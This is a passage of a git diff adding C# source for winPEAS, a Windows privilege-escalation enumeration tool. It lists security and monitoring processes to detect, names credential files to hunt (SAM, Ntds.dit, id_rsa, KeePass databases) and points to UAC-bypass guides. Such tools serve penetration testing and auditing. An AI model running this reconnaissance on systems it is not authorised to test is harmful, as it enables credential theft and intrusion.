, "UNKNOWN"}, + {"prmt.exe" , "UNKNOWN"}, + {"prmvr.exe" , "UNKNOWN"}, + {"procdump.exe" , "UNKNOWN"}, + {"processmonitor.exe" , "UNKNOWN"}, + {"procexp.exe" , "UNKNOWN"}, + {"procexp64.exe" , "UNKNOWN"}, + {"procexplorerv1.0.exe" , "UNKNOWN"}, + {"procmon.exe" , "UNKNOWN"}, + {"programauditor.exe" , "UNKNOWN"}, + {"proport.exe" , "UNKNOWN"}, + {"protectx.exe" , "UNKNOWN"}, + {"pspf.exe" , "UNKNOWN"}, + {"purge.exe" , "UNKNOWN"}, + {"qconsole.exe" , "UNKNOWN"}, + {"qserver.exe" , "UNKNOWN"}, + {"rapapp.exe" , "UNKNOWN"}, + {"rav7.exe" , "UNKNOWN"}, + {"rav7win.exe" , "UNKNOWN"}, + {"rav8win32eng.exe" , "UNKNOWN"}, + {"ray.exe" , "UNKNOWN"}, + {"rb32.exe" , "UNKNOWN"}, + {"rcsync.exe" , "UNKNOWN"}, + {"realmon.exe" , "UNKNOWN"}, + {"reged.exe" , "UNKNOWN"}, + {"regedit.exe" , "UNKNOWN"}, + {"regedt32.exe" , "UNKNOWN"}, + {"rescue.exe" , "UNKNOWN"}, + {"rescue32.exe" , "UNKNOWN"}, + {"rrguard.exe" , "UNKNOWN"}, + {"rtvscan.exe" , "UNKNOWN"}, + {"rtvscn95.exe" , "UNKNOWN"}, + {"rulaunch.exe" , "UNKNOWN"}, + {"run32dll.exe" , "UNKNOWN"}, + {"rundll.exe" , "UNKNOWN"}, + {"rundll16.exe" , "UNKNOWN"}, + {"ruxdll32.exe" , "UNKNOWN"}, + {"safeweb.exe" , "UNKNOWN"}, + {"sahagent.exescan32.exe" , "UNKNOWN"}, + {"save.exe" , "UNKNOWN"}, + {"savenow.exe" , "UNKNOWN"}, + {"sbserv.exe" , "UNKNOWN"}, + {"scam32.exe" , "UNKNOWN"}, + {"scan32.exe" , "UNKNOWN"}, + {"scan95.exe" , "UNKNOWN"}, + {"scanpm.exe" , "UNKNOWN"}, + {"scrscan.exe" , "UNKNOWN"}, + {"SentinelOne.exe" , "UNKNOWN"}, + {"serv95.exe" , "UNKNOWN"}, + {"setupvameeval.exe" , "UNKNOWN"}, + {"setup_flowprotector_us.exe", "UNKNOWN"}, + {"sfc.exe" , "UNKNOWN"}, + {"sgssfw32.exe" , "UNKNOWN"}, + {"sh.exe" , "UNKNOWN"}, + {"shellspyinstall.exe" , "UNKNOWN"}, + {"shn.exe" , "UNKNOWN"}, + {"showbehind.exe" , "UNKNOWN"}, + {"shstat.exe" , "McAfee VirusScan Enterprise"}, + {"SISIDSService.exe" , "UNKNOWN"}, + {"SISIPSUtil.exe" , "UNKNOWN"}, + {"smc.exe" , "UNKNOWN"}, + {"sms.exe" , "UNKNOWN"}, + {"smss32.exe" , "UNKNOWN"}, + {"soap.exe" , "UNKNOWN"}, + {"sofi.exe" , "UNKNOWN"}, + {"sperm.exe" , "UNKNOWN"}, + {"splunk.exe" , "Splunk"}, + {"splunkd.exe" , "Splunk"}, + {"splunk-admon.exe" , "Splunk"}, + {"splunk-powershell.exe" , "Splunk"}, + {"splunk-winevtlog.exe" , "Splunk"}, + {"spf.exe" , "UNKNOWN"}, + {"sphinx.exe" , "UNKNOWN"}, + {"spoler.exe" , "UNKNOWN"}, + {"spoolcv.exe" , "UNKNOWN"}, + {"spoolsv32.exe" , "UNKNOWN"}, + {"spyxx.exe" , "UNKNOWN"}, + {"srexe.exe" , "UNKNOWN"}, + {"srng.exe" , "UNKNOWN"}, + {"ss3edit.exe" , "UNKNOWN"}, + {"ssgrate.exe" , "UNKNOWN"}, + {"ssg_4104.exe" , "UNKNOWN"}, + {"st2.exe" , "UNKNOWN"}, + {"start.exe" , "UNKNOWN"}, + {"stcloader.exe" , "UNKNOWN"}, + {"supftrl.exe" , "UNKNOWN"}, + {"support.exe" , "UNKNOWN"}, + {"supporter5.exe" , "UNKNOWN"}, + {"svchostc.exe" , "UNKNOWN"}, + {"svchosts.exe" , "UNKNOWN"}, + {"sweep95.exe" , "UNKNOWN"}, + {"sweepnet.sweepsrv.sys.swnetsup.exe", "UNKNOWN"}, + {"symproxysvc.exe" , "UNKNOWN"}, + {"symtray.exe" , "UNKNOWN"}, + {"sysedit.exe" , "UNKNOWN"}, + {"sysmon.exe" , "Sysinternals Sysmon"}, + {"sysupd.exe" , "UNKNOWN"}, + {"TaniumClient.exe" , "Tanium"}, + {"taskmg.exe" , "UNKNOWN"}, + {"taskmo.exe" , "UNKNOWN"}, + {"taumon.exe" , "UNKNOWN"}, + {"tbmon.exe" , "UNKNOWN"}, + {"tbscan.exe" , "UNKNOWN"}, + {"tc.exe" , "UNKNOWN"}, + {"tca.exe" , "UNKNOWN"}, + {"tcm.exe" , "UNKNOWN"}, + {"tcpview.exe" , "UNKNOWN"}, + {"tds-3.exe" , "UNKNOWN"}, + {"tds2-98.exe" , "UNKNOWN"}, + {"tds2-nt.exe" , "UNKNOWN"}, + {"teekids.exe" , "UNKNOWN"}, + {"tfak.exe" , "UNKNOWN"}, + {"tfak5.exe" , "UNKNOWN"}, + {"tgbob.exe" , "UNKNOWN"}, + {"titanin.exe" , "UNKNOWN"}, + {"titaninxp.exe" , "UNKNOWN"}, + {"tlaservice.exe" , "UNKNOWN"}, + {"tlaworker.exe" , "UNKNOWN"}, + {"tracert.exe" , "UNKNOWN"}, + {"trickler.exe" , "UNKNOWN"}, + {"trjscan.exe" , "UNKNOWN"}, + {"trjsetup.exe" , "UNKNOWN"}, + {"trojantrap3.exe" , "UNKNOWN"}, + {"tsadbot.exe" , "UNKNOWN"}, + {"tshark.exe" , "UNKNOWN"}, + {"tvmd.exe" , "UNKNOWN"}, + {"tvtmd.exe" , "UNKNOWN"}, + {"udaterui.exe" , "UNKNOWN"}, + {"undoboot.exe" , "UNKNOWN"}, + {"updat.exe" , "UNKNOWN"}, + {"update.exe" , "UNKNOWN"}, + {"updaterui.exe" , "UNKNOWN"}, + {"upgrad.exe" , "UNKNOWN"}, + {"utpost.exe" , "UNKNOWN"}, + {"vbcmserv.exe" , "UNKNOWN"}, + {"vbcons.exe" , "UNKNOWN"}, + {"vbust.exe" , "UNKNOWN"}, + {"vbwin9x.exe" , "UNKNOWN"}, + {"vbwinntw.exe" , "UNKNOWN"}, + {"vcsetup.exe" , "UNKNOWN"}, + {"vet32.exe" , "UNKNOWN"}, + {"vet95.exe" , "UNKNOWN"}, + {"vettray.exe" , "UNKNOWN"}, + {"vfsetup.exe" , "UNKNOWN"}, + {"vir-help.exe" , "UNKNOWN"}, + {"virusmdpersonalfirewall.exe", "UNKNOWN"}, + {"vnlan300.exe" , "UNKNOWN"}, + {"vnpc3000.exe" , "UNKNOWN"}, + {"vpc32.exe" , "UNKNOWN"}, + {"vpc42.exe" , "UNKNOWN"}, + {"vpfw30s.exe" , "UNKNOWN"}, + {"vptray.exe" , "UNKNOWN"}, + {"vscan40.exe" , "UNKNOWN"}, + {"vscenu6.02d30.exe" , "UNKNOWN"}, + {"vsched.exe" , "UNKNOWN"}, + {"vsecomr.exe" , "UNKNOWN"}, + {"vshwin32.exe" , "UNKNOWN"}, + {"vsisetup.exe" , "UNKNOWN"}, + {"vsmain.exe" , "UNKNOWN"}, + {"vsmon.exe" , "UNKNOWN"}, + {"vsstat.exe" , "UNKNOWN"}, + {"vstskmgr.exe" , "McAfee VirusScan Enterprise"}, + {"vswin9xe.exe" , "UNKNOWN"}, + {"vswinntse.exe" , "UNKNOWN"}, + {"vswinperse.exe" , "UNKNOWN"}, + {"w32dsm89.exe" , "UNKNOWN"}, + {"w9x.exe" , "UNKNOWN"}, + {"watchdog.exe" , "UNKNOWN"}, + {"webdav.exe" , "UNKNOWN"}, + {"webscanx.exe" , "UNKNOWN"}, + {"webtrap.exe" , "UNKNOWN"}, + {"wfindv32.exe" , "UNKNOWN"}, + {"whoswatchingme.exe" , "UNKNOWN"}, + {"wimmun32.exe" , "UNKNOWN"}, + {"win-bugsfix.exe" , "UNKNOWN"}, + {"win32.exe" , "UNKNOWN"}, + {"win32us.exe" , "UNKNOWN"}, + {"winactive.exe" , "UNKNOWN"}, + {"window.exe" , "UNKNOWN"}, + {"windows.exe" , "UNKNOWN"}, + {"wininetd.exe" , "UNKNOWN"}, + {"wininitx.exe" , "UNKNOWN"}, + {"winlogin.exe" , "UNKNOWN"}, + {"winmain.exe" , "UNKNOWN"}, + {"winnet.exe" , "UNKNOWN"}, + {"winppr32.exe" , "UNKNOWN"}, + {"winrecon.exe" , "UNKNOWN"}, + {"winservn.exe" , "UNKNOWN"}, + {"winssk32.exe" , "UNKNOWN"}, + {"winstart.exe" , "UNKNOWN"}, + {"winstart001.exe" , "UNKNOWN"}, + {"wintsk32.exe" , "UNKNOWN"}, + {"winupdate.exe" , "UNKNOWN"}, + {"wireshark.exe" , "UNKNOWN"}, + {"wkufind.exe" , "UNKNOWN"}, + {"wnad.exe" , "UNKNOWN"}, + {"wnt.exe" , "UNKNOWN"}, + {"wradmin.exe" , "UNKNOWN"}, + {"wrctrl.exe" , "UNKNOWN"}, + {"wsbgate.exe" , "UNKNOWN"}, + {"wupdater.exe" , "UNKNOWN"}, + {"wupdt.exe" , "UNKNOWN"}, + {"wyvernworksfirewall.exe" , "UNKNOWN"}, + {"xagt.exe" , "UNKNOWN"}, + {"xpf202en.exe" , "UNKNOWN"}, + {"zapro.exe" , "UNKNOWN"}, + {"zapsetup3001.exe" , "UNKNOWN"}, + {"zatutor.exe" , "UNKNOWN"}, + {"zonalm2601.exe" , "UNKNOWN"}, + {"zonealarm.exe" , "UNKNOWN"}, + {"_avp32.exe" , "UNKNOWN"}, + {"_avpcc.exe" , "UNKNOWN"}, + {"rshell.exe" , "UNKNOWN"}, + {"_avpm.exe" , "UNKNOWN"} + }; + + // TODO: cyberark? other password managers? + public static Hashtable interestingProcesses = new Hashtable() + { + {"CmRcService" , "Configuration Manager Remote Control Service"}, + {"ftp" , "Misc. FTP client"}, + {"LMIGuardian" , "LogMeIn Reporter"}, + {"LogMeInSystray" , "LogMeIn System Tray"}, + {"RaMaint" , "LogMeIn maintenance sevice"}, + {"mmc" , "Microsoft Management Console"}, + {"putty" , "Putty SSH client"}, + {"pscp" , "Putty SCP client"}, + {"psftp" , "Putty SFTP client"}, + {"puttytel" , "Putty Telnet client"}, + {"plink" , "Putty CLI client"}, + {"pageant" , "Putty SSH auth agent"}, + {"kitty" , "Kitty SSH client"}, + {"telnet" , "Misc. Telnet client"}, + {"SecureCRT" , "SecureCRT SSH/Telnet client"}, + {"TeamViewer" , "TeamViewer"}, + {"tv_x64" , "TeamViewer x64 remote control"}, + {"tv_w32" , "TeamViewer x86 remote control"}, + {"keepass" , "KeePass password vault"}, + {"mstsc" , "Microsoft RDP client"}, + {"vnc" , "Possible VNC client"}, + {"powershell" , "PowerShell host process"}, + {"cmd" , "Command Prompt"}, + }; + + public static Hashtable browserProcesses = new Hashtable() + { + {"chrome" , "Google Chrome"}, + {"iexplore" , "Microsoft Internet Explorer"}, + {"MicrosoftEdge" , "Microsoft Edge"}, + {"firefox" , "Mozilla Firefox"} + }; + + private static string GetProcessUser(Process process) + { + IntPtr processHandle = IntPtr.Zero; + try + { + OpenProcessToken(process.Handle, 8, out processHandle); + WindowsIdentity wi = new WindowsIdentity(processHandle); + string user = wi.Name; + return user.Contains(@"\") ? user.Substring(user.IndexOf(@"\") + 1) : user; + } + catch + { + return null; + } + finally + { + if (processHandle != IntPtr.Zero) + { + CloseHandle(processHandle); + } + } + } + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool OpenProcessToken(IntPtr ProcessHandle, uint DesiredAccess, out IntPtr TokenHandle); + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CloseHandle(IntPtr hObject); + + // TODO: check out https://github.com/harleyQu1nn/AggressorScripts/blob/master/ProcessColor.cna#L10 + public static List> GetProcessInfo() + { + List> final_results = new List>(); + try + { + var wmiQueryString = "SELECT ProcessId, ExecutablePath, CommandLine FROM Win32_Process"; + using (var searcher = new ManagementObjectSearcher(wmiQueryString)) + using (var results = searcher.Get()) + { + var query = from p in Process.GetProcesses() + join mo in results.Cast() + on p.Id equals (int)(uint)mo["ProcessId"] + select new + { + Process = p, + Path = (string)mo["ExecutablePath"], + CommandLine = (string)mo["CommandLine"], + Owner = GetProcessUser(p), //Needed inside the next foreach + }; + + foreach (var item in query) + { + if (item.Path != null) + { + string companyName = ""; + string isDotNet = ""; + try + { + FileVersionInfo myFileVersionInfo = FileVersionInfo.GetVersionInfo(item.Path); + companyName = myFileVersionInfo.CompanyName; + isDotNet = MyUtils.CheckIfDotNet(item.Path) ? "isDotNet" : ""; + } + catch (Exception ex) + { + // Not enough privileges + } + if ((String.IsNullOrEmpty(companyName)) || (!Regex.IsMatch(companyName, @"^Microsoft.*", RegexOptions.IgnoreCase))) + { + Dictionary toadd = new Dictionary(); + toadd["Name"] = item.Process.ProcessName; + toadd["ProcessID"] = item.Process.Id.ToString(); + toadd["ExecutablePath"] = item.Path; + toadd["Product"] = companyName; + toadd["Owner"] = item.Owner == null ? "" : item.Owner; + toadd["isDotNet"] = isDotNet; + toadd["CommandLine"] = item.CommandLine; + final_results.Add(toadd); + } + } + } + } + } + catch (Exception ex) + { + Console.WriteLine(" [X] Exception: {0}", ex.Message); + } + return final_results; + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Program.cs b/winPEAS/winPEASexe/winPEAS/Program.cs new file mode 100755 index 0000000..f29ef7b --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Program.cs @@ -0,0 +1,2371 @@ +using Colorful; // http://colorfulconsole.com/ +using System; +using System.Collections.Generic; +using System.Drawing; +using System.IO; +using System.Text.RegularExpressions; + +namespace winPEAS +{ + class Program + { + public static string version = "BETA VERSION"; + static bool is_fast = false; + static bool exec_cmd = false; + public static bool using_ansii = false; + + // Static blacklists + static string strTrue = "True"; + static string strFalse = "False"; + static string badgroups = "docker|Remote"; + static string badpasswd = "NotChange|NotExpi"; + static string badPrivileges = "Enabled|ENABLED|SeImpersonatePrivilege|SeAssignPrimaryPrivilege|SeTcbPrivilege|SeBackupPrivilege|SeRestorePrivilege|SeCreateTokenPrivilege|SeLoadDriverPrivilege|SeTakeOwnershipPrivilege|SeDebugPrivilege"; + static string goodSoft = "Windows Phone Kits|Windows Kits|Windows Defender|Windows Mail|Windows Media Player|Windows Multimedia Platform|windows nt|Windows Photo Viewer|Windows Portable Devices|Windows Security|Windows Sidebar|WindowsApps|WindowsPowerShell|Microsoft|WOW6432Node|internet explorer|Internet Explorer|Common Files"; + static string badShares = "[a-zA-Z]+[$]"; + static string badIps = "127.0.0.1"; + static string badUAC = "No prompting|PromptForNonWindowsBinaries"; + static string goodUAC = "PromptPermitDenyOnSecureDesktop"; + static string badLAPS = "LAPS not installed"; + static string print_credStrings = "[pP][aA][sS][sS][wW][a-zA-Z0-9_-]*|[pP][wW][dD][a-zA-Z0-9_-]*|[uU][sS][eE][rR][a-zA-Z0-9_-]*|[nN][aA][mM][eE]|[lL][oO][gG][iI][nN]|[lL][oO][gG][iI][nN]|[cC][oO][nN][tT][rR][aA][sS][eE][a-zA-Z0-9_-]*|[cC][rR][eE][dD][eE][nN][tT][iI][aA][lL][a-zA-Z0-9_-]*|[aA][pP][iI]|[tT][oO][kK][eE][nN]"; + static List credStringsRegex = new List { "PASSW[a-zA-Z0-9_-]*=", "PWD[a-zA-Z0-9_-]*=", "USER[a-zA-Z0-9_-]*=", "NAME=", "&LOGIN", "=LOGIN", "CONTRASEÑA[a-zA-Z0-9_-]*=", "CREDENTIAL[a-zA-Z0-9_-]*=", "API_KEY", "TOKEN" }; + static string patterns_file_creds = @"RDCMan.settings;*.rdg;*_history;.sudo_as_admin_successful;.profile;*bashrc;httpd.conf;*.plan;.htpasswd;.git-credentials;*.rhosts;hosts.equiv;Dockerfile;docker-compose.yml;credentials;credentials.db;access_tokens.db;accessTokens.json;legacy_credentials;azureProfile.json;appcmd.exe;scclient.exe;unattend.txt;*.gpg$;*.pgp$;*config*.php;elasticsearch.y*ml;kibana.y*ml;*.p12$;*.der$;*.csr$;*.cer$;known_hosts;id_rsa;id_dsa;*.ovpn;anaconda-ks.cfg;hostapd.conf;rsyncd.conf;cesi.conf;supervisord.conf;tomcat-users.xml;web.config;*.kdbx;KeePass.config;Ntds.dit;SAM;SYSTEM;FreeSSHDservice.ini;sysprep.inf;sysprep.xml;unattend.xml;unattended.xml;*vnc*.ini;*vnc*.c*nf*;*vnc*.txt;*vnc*.xml;groups.xml;services.xml;scheduledtasks.xml;printers.xml;drives.xml;datasources.xml;php.ini;https.conf;https-xampp.conf;httpd.conf;my.ini;my.cnf;access.log;error.log;server.xml;SiteList.xml;ConsoleHost_history.txt;setupinfo;setupinfo.bak"; + static string patterns_file_creds_color = "RDCMan.settings|.rdg|_history|.sudo_as_admin_successful|.profile|bashrc|httpd.conf|.plan|.htpasswd|.git-credentials|.rhosts|hosts.equiv|Dockerfile|docker-compose.yml|credentials|credentials.db|access_tokens.db|accessTokens.json|legacy_credentials|azureProfile.json|appcmd.exe|scclient.exe|unattend.txt|access.log|error.log|credential|password|.gpg|.pgp|config.php|elasticsearch|kibana.|.p12|.der|.csr|.crt|.cer|.pem|known_hosts|id_rsa|id_dsa|.ovpn|anaconda-ks.cfg|hostapd.conf|rsyncd.conf|cesi.conf|supervisord.conf|tomcat-users.xml|web.config|.kdbx|.key|KeePass.config|ntds.dir|Ntds.dit|sam|system|SAM|SYSTEM|FreeSSHDservice.ini|sysprep.inf|sysprep.xml|unattend.xml|unattended.xml|vnc|groups.xml|services.xml|scheduledtasks.xml|printers.xml|drives.xml|datasources.xml|php.ini|https.conf|https-xampp.conf|httpd.conf|my.ini|my.cnf|access.log|error.log|server.xml|SiteList.xml|setupinfo"; + + static Color color_default = Beaprint.color_default; + static Color color_key = Beaprint.color_key; + static Color color_good = Beaprint.color_good; + static Color color_bad = Beaprint.color_bad; + static string ansii_color_bad = Beaprint.ansii_color_bad; + static string ansii_color_good = Beaprint.ansii_color_good; + static string ansii_users_active = Beaprint.ansii_users_active; + static string ansii_users_disabled = Beaprint.ansii_users_disabled; + static string ansii_current_user = Beaprint.ansii_current_user; + static StyleSheet onlyDefaultStyleSheet = new StyleSheet(color_default); + static StyleSheet onlyKeyStyleSheet = new StyleSheet(color_key); + + // Create Dynamic blacklists + static string currentUserName = Environment.UserName; + static string currentDomainName = Environment.UserDomainName; + static List currentUserGroups = UserInfo.GetUserGroups(currentUserName); + public static List interestingUsersGroups = new List { "Everyone", "Users", "Todos" , currentUserName }; //Authenticated Users (Authenticated left behin to avoid repetitions) + static string paint_interestingUserGroups = String.Join("|", currentUserGroups); + static string paint_activeUsers = String.Join("|", UserInfo.GetMachineUsers(true, false, false, false, false)); + static string paint_disabledUsers = String.Join("|", UserInfo.GetMachineUsers(false, true, false, false, false)); + static string paint_lockoutUsers = String.Join("|", UserInfo.GetMachineUsers(false, false, true, false, false)); + static string paint_adminUsers = String.Join("|", UserInfo.GetMachineUsers(false, false, false, true, false)); + + + + + ///////////////////////////////////////////////// + /////////////// SYSTEM INFORMATION ////////////// + ///////////////////////////////////////////////// + private static void PrintSystemInfo() + { + void PrintBasicSystemInfo() + { + try + { + Beaprint.MainPrint("Basic System Information", "T1082&T1124&T1012&T1497&T1212"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits", "Check if the Windows versions is vulnerable to some known exploit"); + Dictionary basicDictSystem = SystemInfo.GetBasicOSInfo(); + if (using_ansii) + { + Dictionary colorsSI = new Dictionary() + { + { strTrue, ansii_color_bad } + }; + Beaprint.DictPrint(basicDictSystem, colorsSI, false); + } + else + { + StyleSheet styleSheetSI = new StyleSheet(color_default); + styleSheetSI.AddStyle(strTrue, color_bad); + Beaprint.DictPrint(basicDictSystem, styleSheetSI, false); + } + System.Console.WriteLine(); + Watson.FindVulns(); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintPSInfo() + { + try + { + Beaprint.MainPrint("PowerShell Settings", ""); + Dictionary PSs = SystemInfo.GetPowerShellSettings(); + Beaprint.DictPrint(PSs, true); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintAuditInfo() + { + try + { + Beaprint.MainPrint("Audit Settings", "T1012"); + Beaprint.LinkPrint("", "Check what is being logged"); + Dictionary auditDict = SystemInfo.GetAuditSettings(); + Beaprint.DictPrint(auditDict, false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintWEFInfo() + { + try + { + Beaprint.MainPrint("WEF Settings", "T1012"); + Beaprint.LinkPrint("", "Windows Event Forwarding, is interesting to know were are sent the logs"); + Dictionary weftDict = SystemInfo.GetWEFSettings(); + Beaprint.DictPrint(weftDict, false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintLAPSInfo() + { + try + { + Beaprint.MainPrint("LAPS Settings", "T1012"); + Beaprint.LinkPrint("", "If installed, local administrator password change frequently in domain-joined boxes and is restricted by ACL"); + Dictionary lapsDict = SystemInfo.GetLapsSettings(); + if (using_ansii) + { + Dictionary colorsSI = new Dictionary() + { + { badLAPS, ansii_color_bad } + }; + Beaprint.DictPrint(lapsDict, colorsSI, false); + } + else + { + StyleSheet styleSheetLAPS = new StyleSheet(color_default); + styleSheetLAPS.AddStyle(badLAPS, color_bad); + Beaprint.DictPrint(lapsDict, styleSheetLAPS, false); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintUserEV() + { + try + { + Beaprint.MainPrint("User Environment Variables", ""); + Beaprint.LinkPrint("", "Check for some passwords or keys in the env variables"); + Dictionary userEnvDict = SystemInfo.GetUserEnvVariables(); + if (using_ansii) + { + Dictionary colorsSI = new Dictionary() + { + { print_credStrings, ansii_color_bad } + }; + Beaprint.DictPrint(userEnvDict, colorsSI, false); + } + else + { + StyleSheet styleSheetUEV = new StyleSheet(color_default); + styleSheetUEV.AddStyle(print_credStrings, color_bad); + Beaprint.DictPrint(userEnvDict, styleSheetUEV, false); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintSystemEV() + { + try + { + Beaprint.MainPrint("System Environment Variables", ""); + Beaprint.LinkPrint("", "Check for some passwords or keys in the env variables"); + Dictionary sysEnvDict = SystemInfo.GetSystemEnvVariables(); + if (using_ansii) + { + Dictionary colorsSI = new Dictionary() + { + { print_credStrings, ansii_color_bad } + }; + Beaprint.DictPrint(sysEnvDict, colorsSI, false); + } + else + { + StyleSheet styleSheetSEV = new StyleSheet(color_default); + styleSheetSEV.AddStyle(print_credStrings, color_bad); + Beaprint.DictPrint(sysEnvDict, styleSheetSEV, false); + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintInetInfo() + { + try + { + Beaprint.MainPrint("HKCU Internet Settings", "T1012"); + Dictionary HKCUDict = SystemInfo.GetInternetSettings("HKCU"); + Beaprint.DictPrint(HKCUDict, true); + + Beaprint.MainPrint("HKLM Internet Settings", "T1012"); + Dictionary HKMLDict = SystemInfo.GetInternetSettings("HKLM"); + Beaprint.DictPrint(HKMLDict, true); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintDrivesInfo() + { + try + { + Beaprint.MainPrint("Drives Information", "T1120"); + Beaprint.LinkPrint("", "Remember that you should search more info inside the other drives"); + foreach (Dictionary drive in SystemInfo.GetDrivesInfo()) + { + string drive_permissions = String.Join(", ", MyUtils.GetPermissionsFolder(drive["Name"], interestingUsersGroups)); + string dToPrint = " {0} (Type: {1})"; + if (drive["Volume label"] != "") + dToPrint += "(Volume label: {2})"; + + if (drive["Filesystem"] != "") + dToPrint += "(Filesystem: {3})"; + + if (drive["Available space"] != "") + dToPrint += "(Available space: {4} GB)"; + + if (drive_permissions.Length > 0) + dToPrint += "(Permissions: {5})"; + + if (using_ansii) + { + Dictionary colorsSI = new Dictionary() + { + { "Permissions.*", ansii_color_bad} + }; + Beaprint.AnsiiPrint(String.Format(dToPrint, drive["Name"], drive["Type"], drive["Volume label"], drive["Filesystem"], (((Int64.Parse(drive["Available space"]) / 1024) / 1024) / 1024).ToString(), drive_permissions), colorsSI); + } + + else + { + Formatter[] colorsString = new Formatter[] + { + new Formatter(drive["Name"], drive_permissions.Length > 0 ? color_bad : color_default), + new Formatter(drive["Type"], color_default), + new Formatter(drive["Volume label"], color_default), + new Formatter(drive["Filesystem"],color_default), + new Formatter((((Int64.Parse(drive["Available space"]) / 1024) / 1024) / 1024).ToString(), color_default), + new Formatter(drive_permissions, color_bad) + }; + Colorful.Console.WriteLineFormatted(dToPrint, color_key, colorsString); + } + } + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintAVInfo() + { + try + { + Beaprint.MainPrint("AV Information", "T1063"); + Dictionary AVInfo = SystemInfo.GetAVInfo(); + if (AVInfo.ContainsKey("Name") && AVInfo["Name"].Length > 0) + Beaprint.GoodPrint(" Some AV was detected, search for bypasses"); + else + Beaprint.BadPrint(" No AV was detected!!"); + + Beaprint.DictPrint(AVInfo, false); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + void PrintUACInfo() + { + try { + Beaprint.MainPrint("UAC Status", "T1012"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access", "If you are in the Administrators group check how to bypass the UAC"); + Dictionary uacDict = SystemInfo.GetUACSystemPolicies(); + + if (using_ansii) + { + Dictionary colorsSI = new Dictionary() + { + { badUAC, ansii_color_bad }, + { goodUAC, ansii_color_good } + }; + Beaprint.DictPrint(uacDict, colorsSI, false); + } + else + { + StyleSheet styleSheetUAC = new StyleSheet(color_default); + //styleSheet.AddStyle("True", color_bad); + styleSheetUAC.AddStyle(badUAC, color_bad); + styleSheetUAC.AddStyle(goodUAC, color_good); + Beaprint.DictPrint(uacDict, styleSheetUAC, false); + } + + if ((uacDict["EnableLUA"] == "") || (uacDict["EnableLUA"] == "0")) + Beaprint.BadPrint(" [*] EnableLUA != 1, UAC policies disabled.\r\n [+] Any local account can be used for lateral movement."); + + if ((uacDict["EnableLUA"] == "1") && (uacDict["LocalAccountTokenFilterPolicy"] == "1")) + Beaprint.BadPrint(" [*] LocalAccountTokenFilterPolicy set to 1.\r\n [+] Any local account can be used for lateral movement."); + + if ((uacDict["EnableLUA"] == "1") && (uacDict["LocalAccountTokenFilterPolicy"] != "1") && (uacDict["FilterAdministratorToken"] != "1")) + Beaprint.GoodPrint(" [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken != 1.\r\n [-] Only the RID-500 local admin account can be used for lateral movement."); + + if ((uacDict["EnableLUA"] == "1") && (uacDict["LocalAccountTokenFilterPolicy"] != "1") && (uacDict["FilterAdministratorToken"] == "1")) + Beaprint.GoodPrint(" [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken == 1.\r\n [-] No local accounts can be used for lateral movement."); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + } + + Beaprint.GreatPrint("System Information"); + PrintBasicSystemInfo(); + PrintPSInfo(); + PrintAuditInfo(); + PrintWEFInfo(); + PrintLAPSInfo(); + PrintUserEV(); + PrintSystemEV(); + PrintInetInfo(); + PrintDrivesInfo(); + PrintAVInfo(); + PrintUACInfo(); + } + + + + ///////////////////////////////////////////////// + /////////////// USERS INFORMATION /////////////// + ///////////////////////////////////////////////// + private static void PrintInfoUsers() + { + /* Colors Code + * RED: + * ---- Privileges users and groups names + * MAGENTA: + * ---- Current user and domain + * BLUE: + * ---- Locked users + * CYAN: + * ---- Active users + * MediumPurple: + * ---- Disabled users + */ + + StyleSheet CreateUsersSS() + { + StyleSheet styleSheetUsers = new StyleSheet(color_default); + try + { + styleSheetUsers.AddStyle(paint_activeUsers, Color.Cyan); + if (paint_disabledUsers.Length > 1) styleSheetUsers.AddStyle(paint_disabledUsers + "|Disabled", Color.MediumPurple); + if (paint_lockoutUsers.Length > 1) styleSheetUsers.AddStyle(paint_lockoutUsers + "|Lockout", Color.Blue); + styleSheetUsers.AddStyle(currentUserName, Color.Magenta); + styleSheetUsers.AddStyle(currentDomainName, Color.Magenta); + styleSheetUsers.AddStyle(paint_adminUsers, color_bad); + styleSheetUsers.AddStyle(badgroups, color_bad); + styleSheetUsers.AddStyle(badpasswd, color_bad); + styleSheetUsers.AddStyle(badPrivileges, color_bad); + styleSheetUsers.AddStyle("DefaultPassword.*", color_bad); + styleSheetUsers.AddStyle(@"\|->Groups:|\|->Password:|Current user:", color_key); + } + catch (Exception ex) + { + Colorful.Console.WriteLine(ex); + } + return styleSheetUsers; + } + + Dictionary colorsU() + { + return new Dictionary() + { + { paint_activeUsers, ansii_users_active }, + { paint_disabledUsers, ansii_users_disabled }, + { currentUserName, ansii_current_user }, + { currentDomainName, ansii_current_user }, + { paint_adminUsers, ansii_color_bad }, + { badgroups, ansii_color_bad }, + { badpasswd, ansii_color_bad }, + { badPrivileges, ansii_color_bad }, + { "DefaultPassword.*", ansii_color_bad }, + }; + } + + void PrintCU() + { + try + { + Beaprint.MainPrint("Current users", "T1087&T1069&T1033"); + Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups", "Check if you have some admin equivalent privileges"); + List users_grps = UserInfo.GetMachineUsers(false, false, false, false, true); + if (using_ansii) + { + Beaprint.AnsiiPrint(" Current user: " + currentUserName, colorsU()); + Beaprint.ListPrint(users_grps, colorsU()); + } + else + { + 